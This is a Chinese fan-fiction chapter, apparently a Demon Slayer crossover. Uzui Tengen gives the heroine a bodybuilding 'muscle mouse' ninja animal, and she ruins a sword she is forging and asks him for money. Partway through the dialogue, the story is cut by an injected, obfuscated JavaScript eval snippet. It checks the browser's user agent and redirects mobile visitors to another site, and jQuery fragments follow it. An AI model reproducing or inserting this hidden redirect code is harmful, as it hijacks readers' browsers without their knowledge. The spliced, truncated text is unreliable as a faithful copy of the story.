“你要回村去了?”宇髄问。
屋里浓烟早早散去。
坐在窗边吃饭的花间酒手捏筷子,香软米饭混着鱼肉,咀嚼咀嚼,淡定地看着从上窗沿倒吊着,自上而下,探出个脑袋的宇髄天元。
他今天戴着护额。不知道是宇髄一家的护额都那么富有个性,还是他自己手工做的,那块银白色的不规则铁片镶着几个大小不一、亮晶晶的同色钻石,棱棱角角,横截面削得十分平整;护额是深蓝色绑布,牢固地穿扎在白的发丝之间。
人在倒挂,那头白发自然下垂。
花间酒稍眯起眼,逆着太阳光线,瞧着那缕缕发丝被晴日湿敷,隐约流淌几分琉璃似的彩光。
听他语气,吞掉一口饭,花间酒又扒一口:“嗯啊。不乐意?”
“你把我想成什么人了。”倒过来的白脑袋喟叹,语调欲扬先抑,“只是想说,千等万等,终于等到了这一天。”
花间酒好整以暇,“阁下作何打算啊。”
宇髄天元竟也相当坦率:“当然是等着报恩了。你老待在这儿,也不干别的事,我都不知道能帮上你什么。”
敢情这家伙动不动来逛一圈,就是为了看她什么时候碰上麻烦?
“回村了也没什么事可让你帮啊。”
“你总要出任务吧?有任何需要帮忙的,你尽管告诉我。我宇髄天元听凭差遣。”
“我要怎么告诉你?”
“简单。喏!”
宇髄天元自信满满一声应下,他的手臂从上窗沿伸下来。花间酒手捧饭盒,毫无表情地看着这人手里握着的……
一只老鼠。
宇髄天元松开手。
花间酒断然放下筷子,左手伸去接。
巴掌大的灰色小老鼠,戴着宇髄同款护额,瞬间在空中灵活翻身,如同健美操运动员一般,稳当当落在花间酒的手上。此鼠身穿黑裤,两脚站立,精神抖擞地仰起头。
它“muki!”一叫,与人类四目相对,便猛地举起两臂,秀出健壮而圆鼓鼓的肱二头肌。
“……”花间酒的眼皮荒唐跳两跳。
这个小世界,怎么回事啊?
明明都跟灵兽一样锻炼得不合常理了,但无论怎么左看右看,仍然没有灵气,只是普通的老鼠,不过比正常老鼠更强壮聪明并尤为自恋而已!
健美老鼠身材健硕,耳朵圆圆,两只小脚却与寻常小鼠无异,又细又小。细微的鼠脚触感从掌心传来,花间酒沉默良久,直接无视了眼神智慧又闪亮仿佛在求夸肌肉的鼠,抬起眼。
眼前阴影一晃。
宇髄天元也“哟咻”地从窗顶翻身而下,正正地站好来,两肘屈搭在窗沿。他弯腰倾身,上半身伸进窗子里,一张稚嫩俊俏的脸挨近,毫无边界感,意气风发地闪烁着光。
“介绍一下。”
只搁半臂距离,宇髄天元扬起眉毛,得意地直望花间酒的脸,露齿一笑,嗓音高亢洪亮。
“这是我最近刚开始尝试培训的肌肉老鼠,名字就叫‘肌肉老鼠’,是我引以为傲的忍兽。可以通过非常狭窄阴暗的地方,负责情报交换,帮忙搬运补给品。当然也能当成及时联络的中介。这只就暂时放在你这里,可别小看它……”话锋一转,他又用力吐槽,“……了啊你那是什么眼神?我培训出了这么华丽的忍兽,给我礼貌一点,多敬佩我一点!!”
“是么,”花间酒语气惆怅地嫌弃,“那真是好厉害啊,赶紧拿走。”超凡老鼠矗立在手上的感觉很诡异啊。
肌肉老鼠一惊:“muki?!”
宇髄天元大惊:“喂喂,少装成第一次看见忍兽的样子,按理说你也应该有养吧。”
花间酒沉声:“那节课老师的忍兽不过是一只非常普通的鸟啊。说什么要学会和动物心灵相通,太无聊了,我又对动物没兴趣,这种水课肯定只能睡觉了!忍者又不一定非要有忍兽,连《火○忍者》(NARUTO)的忍兽我都没有很喜欢,而且谁想得到世界上还有这种老鼠!”
“我才想说谁想得到你这么强的忍者却连课都没好好听啊……”
“那叫战术补觉,分配精力。”
“NARUTO是谁?你村里的人?”
“不是。”花间酒把左手轻缓地伸到窗沿前,随口道,“一个旧识罢了。”
小老鼠泪眼汪汪地突显着肌肉,从她掌心乖乖跳到窗沿上,站到宇髄天元屈起的胳膊旁。
花间酒收手拿筷子,速扒两口饭。
“没别的事就慢走不送。”
“呵呵。”宇髄天元撑着窗户直起身,阴影随之撤出,“那这只肌肉老鼠就拜托你了。”
“唉,不要不要,带走带走。”
“mu……muki!”
“看看啊,它都被你欺负哭了。你就不能可怜可怜它吗?”
“那让你也哭一下要不要?我来可怜你。”
“说起来,”宇髄天元双臂环胸,目光探向窗内更深处,“你的剑是不是淬水完了?拿出来了没?”
闻言,花间酒啃饭的动作凝固。
光顾着散烟散完吃饭……完全忘记了!
宇髄天元露出死鱼眼,目送这家伙抱紧饭盒,从板凳上跨起身,转头伏到介质桶边,腾出一只手,摸摸索索地夹出一柄淬得歪七扭八、边缘皲裂,已然要辨别不出剑状的钢铁。
“怎么会这样?”那笨蛋还搁那嘟嘟囔囔追悼,“我明明都是按着步骤来的!温度不对吗?时间不能太久吗?”
没救了啊,已经。
那些传谣言的蠢货都应该来看看她这副模样,保准颠覆世界观。
“你慢慢反省吧。”宇髄天元放下环起的双手,转身离开。
“宇髄。”
“咋了又?”宇髄天元倒退回来。
他侧着身,一只手臂又搭上窗沿。探头一看,花间酒正好将失败品放到地上,饭盒倒是还老老实实抱在怀里,三两步飞奔到窗前。
卷来的些许微风扑面。一时靠得太近,宇髄天元忽然心生不妙的预感,下一刻就见女孩面无表情,面色颇差,额发随风飘翘,露出隐隐渗出冷汗的白皙额头,犹如地下交接情报般压低声音,黑亮的眼睛直盯着他。
“你不是要报恩吗?”花间酒问。
“……”
宇髄天元斜眼瞄人,冷静应答,“你要干嘛?”
“借我点钱。”
“啊?”
“或者你村里的锻刀材料借我。”
“哈?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836292|191149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“啊哈什么,你很穷吗?”花间酒不可置信。
“要借你当然可以,”宇髄天元更难以置信,“不对。你直接要就行了,用不着还我。但你为什么要借这些?”家族财政已经严峻到揭不开锅了吗?
却听花间酒严肃道:“别问那么多。这次我只找老爹要了打一把刀的材料,已经不够用了,我才不要再下去找他拿一批新材料,省得老头又叽叽歪歪。你帮我这忙,事后短不了你的好处。”
不,既然是报恩那就没有理由讨好处啊……
宇髄天元嘴角一抽,姑且先问:“哦。是吗。什么好处?”
面前的人陷入沉思。
花间酒纠结:“我妈的便当分你一半。”
宇髄天元:“说真的不用了。你在这等我吧。”
少年忍者下了山。
被留下的肌肉忍鼠肩负重任,神经紧绷,缩在窗框角落,寂静得如同一条又扁又长的老鼠干。直到发现花间酒吃完饭,转身去洗饭盒,似乎没注意到它,小忍鼠才不禁松了口气。
迅速观察小屋,肌肉老鼠准确地定位到几个方便打洞、能疏通打造密道的犄角旮旯。它鼓鼓肌肉,心底为自己喝彩鼓励,便悄无声息地潜到其中一个靠窗角落。
在那儿,枯黄的干草堆结覆盖。
忍鼠刚一头钻进干草里,忽然大汗淋漓地听见木屋小主人的声音响起。
“你就开始干活了?”
“……mu……”忍鼠慢吞吞钻出干草堆,“muki!”
花间酒把洗干净的便当盒放到窗子上晾,诧异地低头瞅它,“吃饱了没?”
“muki……”
一身白黑红练功服的女孩推门而出。
忍鼠呆巴巴地杵在原地。没过几秒钟,人又回来了。手里提着一小袋鼓鼓的布囊,人在它跟前干脆利落地盘腿而坐,袋子摊开,几个饱满漂亮的野果子顺势稍微滚出:粉的软嫩,红的鲜脆,黄的浅亮,裹着一层剔透晶润的溪水水珠,洇湿了布。
它一下就嗅到果实清甜的气味。
惊喜而馋嘴地叫了一声,忍鼠捧起一个贼圆的红果子,又泪眼汪汪地望向一旁的人类。
花间酒没有看它,顺手捞了颗小桃子,自顾自先咬一口。表皮软,果肉多汁。后山的果树种类丰富,最近也到自然成熟的季节,作为饭后水果,倒是也不错。
“还可以啊。”花间酒不吝评价。
忍鼠看看她,看看果子,忍不住动嘴啃啃啃。
好吃!鼠眼闪亮,啃啃啃。
啃到一半,吃完桃子的人先行屈起膝盖,撑膝站起身,一句话都没跟它说,转而去叮叮当当地研究煅烧失败的钢铁。
小老鼠呆呆目送花间酒的背影,抱着果子,低低头。
布囊上还躺着好几个新鲜野果。
它坐在地上,不由多吃两个,险些忘了有工作在身。吃饱喝足的灰色忍鼠又“muki!”叫着原地锻炼一组俯卧撑,肌肉充血鼓起,而后精神百倍地准备干活。
即将开工前,鼠偷偷再看了一眼人。
先前分明还在让主人把它带走的女孩,席地正襟危坐,正在对地上那柄扭曲的剑身忧郁地默哀。
鼠扭过头,钻进干草堆。